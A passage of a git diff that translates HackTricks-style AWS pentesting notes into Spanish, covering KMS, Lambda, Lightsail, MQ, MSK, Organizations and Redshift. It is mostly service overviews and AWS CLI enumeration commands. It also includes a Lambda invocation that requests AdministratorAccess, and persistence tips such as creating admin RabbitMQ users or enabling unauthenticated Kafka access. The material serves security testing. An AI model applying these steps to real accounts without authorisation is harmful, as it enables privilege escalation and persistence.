en su lugar, más datos se cifran con esa clave, y si esa clave se ve comprometida, entonces mayor será el área de impacto de los datos en riesgo. Además de esto, cuanto más tiempo esté activa la clave, aumenta la probabilidad de que sea comprometida. +- **KMS rota las claves de cliente cada 365 días** (o puedes realizar el proceso manualmente cuando quieras) y **las claves gestionadas por AWS cada 3 años** y este tiempo no se puede cambiar. +- **Las claves más antiguas se retienen** para descifrar datos que fueron cifrados antes de la rotación. +- En un compromiso, rotar la clave no eliminará la amenaza, ya que será posible descifrar todos los datos cifrados con la clave comprometida. Sin embargo, los **nuevos datos se cifrarán con la nueva clave**. +- Si el **CMK** está en estado de **deshabilitado** o **pendiente de** **eliminación**, KMS **no realizará una rotación de clave** hasta que el CMK sea reactivado o se cancele la eliminación. -#### Manual rotation +#### Rotación manual -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- Se **necesita crear un nuevo CMK**, luego, se crea un nuevo CMK-ID, por lo que necesitarás **actualizar** cualquier **aplicación** para **referenciar** el nuevo CMK-ID. +- Para facilitar este proceso, puedes **usar alias para referirte a un key-id** y luego solo actualizar la clave a la que se refiere el alias. +- Necesitas **mantener claves antiguas para descifrar archivos antiguos** cifrados con ellas. -You can import keys from your on-premises key infrastructure . +Puedes importar claves de tu infraestructura de claves local. -### Other relevant KMS information +### Otra información relevante de KMS -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS se cobra por el número de solicitudes de cifrado/descifrado recibidas de todos los servicios por mes. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS tiene una completa auditoría e **integración de cumplimiento con CloudTrail**; aquí es donde puedes auditar todos los cambios realizados en KMS. -With KMS policy you can do the following: +Con la política de KMS puedes hacer lo siguiente: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Limitar quién puede crear claves de datos y qué servicios tienen acceso para usar estas claves +- Limitar el acceso de los sistemas a cifrar solo, descifrar solo o ambos +- Definir para habilitar a los sistemas a acceder a claves a través de regiones (aunque no se recomienda, ya que una falla en la región que aloja KMS afectará la disponibilidad de los sistemas en otras regiones). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +No puedes sincronizar o mover/copiar claves entre regiones; solo puedes definir reglas para permitir el acceso entre regiones. +### Enumeración ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,7 +129,6 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} @@ -151,12 +147,8 @@ aws kms describe-custom-key-stores ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..92a976f17 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda se describe como un **servicio de computación** que permite la ejecución de código sin la necesidad de provisión o gestión de servidores. Se caracteriza por su capacidad de **manejar automáticamente la asignación de recursos** necesarios para la ejecución del código, asegurando características como alta disponibilidad, escalabilidad y seguridad. Un aspecto significativo de Lambda es su modelo de precios, donde **los cargos se basan únicamente en el tiempo de computación utilizado**, eliminando la necesidad de inversiones iniciales o compromisos a largo plazo. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Para llamar a una lambda, es posible llamarla **tan frecuentemente como desees** (con Cloudwatch), **exponer** un **endpoint** de **URL** y llamarlo, llamarlo a través de **API Gateway** o incluso basarse en **eventos** como **cambios** en los datos en un **bucket** de **S3** o actualizaciones a una tabla de **DynamoDB**. -The **code** of a lambda is stored in **`/var/task`**. +El **código** de una lambda se almacena en **`/var/task`**. -### Lambda Aliases Weights +### Pesos de Alias de Lambda -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Una Lambda puede tener **varias versiones**.\ +Y puede tener **más de 1** versión expuesta a través de **alias**. Los **pesos** de **cada** una de las **versiones** expuestas dentro de un alias decidirán **qué alias recibe la invocación** (puede ser 90%-10% por ejemplo).\ +Si el código de **uno** de los alias es **vulnerable**, puedes enviar **solicitudes hasta que la versión vulnerable** reciba el exploit. ![](<../../../images/image (223).png>) -### Resource Policies +### Políticas de Recursos -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Las políticas de recursos de Lambda permiten **dar acceso a otros servicios/cuentas para invocar** la lambda, por ejemplo.\ +Por ejemplo, esta es la política para permitir **que cualquiera acceda a una lambda expuesta a través de URL**:
-Or this to allow an API Gateway to invoke it: +O esta para permitir que un API Gateway lo invoque:
-### Lambda Database Proxies +### Proxies de Base de Datos de Lambda -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +Cuando hay **cientos** de **solicitudes concurrentes de lambda**, si cada una de ellas necesita **conectar y cerrar una conexión a una base de datos**, simplemente no funcionará (las lambdas son sin estado, no pueden mantener conexiones abiertas).\ +Entonces, si tus **funciones Lambda interactúan con RDS Proxy en lugar** de tu instancia de base de datos. Maneja el agrupamiento de conexiones necesario para escalar muchas conexiones simultáneas creadas por funciones Lambda concurrentes. Esto permite que tus aplicaciones Lambda **reutilicen conexiones existentes**, en lugar de crear nuevas conexiones para cada invocación de función. -### Lambda EFS Filesystems +### Sistemas de Archivos EFS de Lambda -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Para preservar e incluso compartir datos, **las Lambdas pueden acceder a EFS y montarlos**, por lo que Lambda podrá leer y escribir desde él. -### Lambda Layers +### Capas de Lambda -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, el **contenido se extrae en el directorio `/opt`** en el entorno de ejecución. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes elegir **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que una cuenta diferente publicó, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función o actualizar funciones utilizando una versión de capa eliminada. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen de contenedor cuando construyes la imagen. -### Lambda Extensions +### Extensiones de Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. - -### Enumeration +- **Extensiones internas** se fusionan con el proceso de runtime, manipulando su inicio usando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de runtimes, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. +- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios runtimes como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **runtimes personalizados**. +### Enumeración ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` - -### Invoke a lambda +### Invocar una lambda #### Manual - ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### A través de URL expuesta ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` +#### Llamar a la función Lambda a través de URL -#### Call Lambda function via URL - -Now it's time to find out possible lambda functions to execute: - +Ahora es el momento de descubrir posibles funciones lambda para ejecutar: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +Una función lambda llamada "Level6" está disponible. Vamos a averiguar cómo llamarla: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Ahora que conoces el nombre y el ID, puedes obtener el Nombre: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +Y finalmente llama a la función accediendo (nota que el ID, Nombre y nombre de la función aparecen en la URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Otros Disparadores -There are a lot of other sources that can trigger a lambda +Hay muchas otras fuentes que pueden activar un lambda
### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de Lambda para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..72e8e8f2b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail proporciona una **manera** fácil y ligera para que los nuevos usuarios de la nube aprovechen los servicios de computación en la nube de AWS. Permite desplegar servicios web comunes y personalizados en segundos a través de **VMs** (**EC2**) y **contenedores**.\ +Es un **EC2 mínimo + Route53 + ECS**. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,14 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Analizar Instantáneas -### Analyse Snapshots +Es posible generar **instantáneas de instancias y bases de datos relacionales desde lightsail**. Por lo tanto, puedes verificar esas de la misma manera que puedes verificar [**instantáneas de EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) y [**instantáneas de RDS**](aws-relational-database-rds-enum.md#enumeration). -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### Metadatos -### Metadata - -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. +**El endpoint de metadatos es accesible desde lightsail**, pero las máquinas están ejecutándose en una **cuenta de AWS administrada por AWS**, por lo que no controlas **qué permisos se están otorgando**. Sin embargo, si encuentras una manera de explotarlos, estarías explotando directamente AWS. ### Privesc @@ -44,20 +42,16 @@ It's possible to generate **instance and relational database snapshots from ligh ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..6c664647f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Introducción a los intermediarios de mensajes -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Los intermediarios de mensajes** sirven como intermediarios, facilitando la comunicación entre diferentes sistemas de software, que pueden estar construidos en diversas plataformas y programados en diferentes lenguajes. **Amazon MQ** simplifica el despliegue, operación y mantenimiento de intermediarios de mensajes en AWS. Proporciona servicios gestionados para **Apache ActiveMQ** y **RabbitMQ**, asegurando un aprovisionamiento sin problemas y actualizaciones automáticas de versiones de software. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ es un prominente **software de cola de mensajes**, también conocido como _intermediario de mensajes_ o _gestor de colas_. Es fundamentalmente un sistema donde se configuran colas. Las aplicaciones interactúan con estas colas para **enviar y recibir mensajes**. Los mensajes en este contexto pueden llevar una variedad de información, que va desde comandos para iniciar procesos en otras aplicaciones (potencialmente en diferentes servidores) hasta simples mensajes de texto. Los mensajes son retenidos por el software del gestor de colas hasta que son recuperados y procesados por una aplicación receptora. AWS proporciona una solución fácil de usar para alojar y gestionar servidores RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ® es un destacado **intermediario de mensajes** de código abierto basado en Java, conocido por su versatilidad. Soporta múltiples protocolos estándar de la industria, ofreciendo una amplia compatibilidad con clientes en una variedad de lenguajes y plataformas. Los usuarios pueden: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- Conectarse con clientes escritos en JavaScript, C, C++, Python, .Net, y más. +- Aprovechar el protocolo **AMQP** para integrar aplicaciones de diferentes plataformas. +- Usar **STOMP** sobre websockets para intercambios de mensajes en aplicaciones web. +- Gestionar dispositivos IoT con **MQTT**. +- Mantener la infraestructura **JMS** existente y extender sus capacidades. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. - -## Enumeration +La robustez y flexibilidad de ActiveMQ lo hacen adecuado para una multitud de requisitos de mensajería. +## Enumeración ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: Indicar cómo enumerar RabbitMQ y ActiveMQ internamente y cómo escuchar en todas las colas y enviar datos (envía PR si sabes cómo hacer esto) ## Privesc @@ -58,23 +56,19 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Unauthenticated Access +## Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md {{#endref}} -## Persistence +## Persistencia -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +Si conoces las credenciales para acceder a la consola web de RabbitMQ, puedes crear un nuevo usuario con privilegios de administrador. -## References +## Referencias - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html) - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..4b14dcdd4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** es un servicio que está completamente gestionado, facilitando el desarrollo y la ejecución de aplicaciones que procesan datos en streaming a través de **Apache Kafka**. Las operaciones del plano de control, incluyendo la creación, actualización y eliminación de **clusters**, son ofrecidas por Amazon MSK. El servicio permite la utilización de operaciones del plano de datos de Apache Kafka, abarcando la producción y consumo de datos. Funciona con **versiones de código abierto de Apache Kafka**, asegurando la compatibilidad con aplicaciones, herramientas y complementos existentes tanto de socios como de la **comunidad de Apache Kafka**, eliminando la necesidad de alteraciones en el código de la aplicación. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +En términos de fiabilidad, Amazon MSK está diseñado para **detectar y recuperarse automáticamente de escenarios de fallos de cluster prevalentes**, asegurando que las aplicaciones de productor y consumidor continúen en sus actividades de escritura y lectura de datos con mínima interrupción. Además, busca optimizar los procesos de replicación de datos al intentar **reutilizar el almacenamiento de brokers reemplazados**, minimizando así el volumen de datos que necesita ser replicado por Apache Kafka. -### **Types** +### **Tipos** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +Hay 2 tipos de clusters de Kafka que AWS permite crear: Provisionados y Sin Servidor. -From the point of view of an attacker you need to know that: +Desde el punto de vista de un atacante, necesitas saber que: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled - -### Enumeration +- **Sin Servidor no puede ser público directamente** (solo puede ejecutarse en una VPN sin ninguna IP expuesta públicamente). Sin embargo, **Provisionados** pueden configurarse para obtener una **IP pública** (por defecto no lo hacen) y configurar el **grupo de seguridad** para **exponer** los puertos relevantes. +- **Sin Servidor** **solo soporta IAM** como método de autenticación. **Provisionados** soportan autenticación SASL/SCRAM (**contraseña**), autenticación **IAM**, autenticación de AWS **Certificate** Manager (ACM) y acceso **No Autenticado**. +- Ten en cuenta que no es posible exponer públicamente un Kafka Provisionado si el acceso no autenticado está habilitado. +### Enumeración ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Acceso IAM de Kafka (en serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,29 +72,24 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md {{#endref}} -### Persistence +### Persistencia -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Si vas a **tener acceso a la VPC** donde se encuentra un Kafka Provisionado, podrías **habilitar acceso no autorizado**, si **la autenticación SASL/SCRAM**, **lees** la contraseña del secreto, das algunos **otros permisos de usuario controlados de IAM** (si se usa IAM o serverless) o persistes con **certificados**. -## References +## Referencias - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..e7d3dea8e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Información Básica -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations facilita la creación de nuevas cuentas de AWS sin incurrir en costos adicionales. Los recursos se pueden asignar sin esfuerzo, las cuentas se pueden agrupar de manera eficiente y se pueden aplicar políticas de gobernanza a cuentas individuales o grupos, mejorando la gestión y el control dentro de la organización. -Key Points: +Puntos Clave: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Creación de Nuevas Cuentas**: AWS Organizations permite la creación de nuevas cuentas de AWS sin cargos adicionales. +- **Asignación de Recursos**: Simplifica el proceso de asignación de recursos entre las cuentas. +- **Agrupación de Cuentas**: Las cuentas se pueden agrupar, lo que hace que la gestión sea más eficiente. +- **Políticas de Gobernanza**: Se pueden aplicar políticas a cuentas o grupos de cuentas, asegurando el cumplimiento y la gobernanza en toda la organización. -You can find more information in: +Puedes encontrar más información en: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Referencias - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..e62ef8199 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - Otras Servicios Enum {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +Permite **conectar una red privada corporativa con AWS** (así podrías comprometer una instancia EC2 y acceder a la red corporativa). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` +## Soporte -## Support - -In AWS you can access current and previous support cases via the API - +En AWS, puedes acceder a casos de soporte actuales y anteriores a través de la API. ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..d16b52b6a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift es un servicio completamente gestionado que puede escalar hasta más de un petabyte de tamaño, que se utiliza como un **almacenamiento de datos para soluciones de big data**. Usando clústeres de Redshift, puedes ejecutar análisis sobre tus conjuntos de datos utilizando herramientas de consulta rápidas basadas en SQL y aplicaciones de inteligencia empresarial para obtener una mayor comprensión de la visión de tu negocio. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift ofrece cifrado en reposo utilizando una jerarquía de cuatro niveles de claves de cifrado utilizando KMS o CloudHSM para gestionar el nivel superior de claves**. **Cuando el cifrado está habilitado para tu clúster, no se puede desactivar y viceversa**. Cuando tienes un clúster sin cifrar, no se puede cifrar. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, 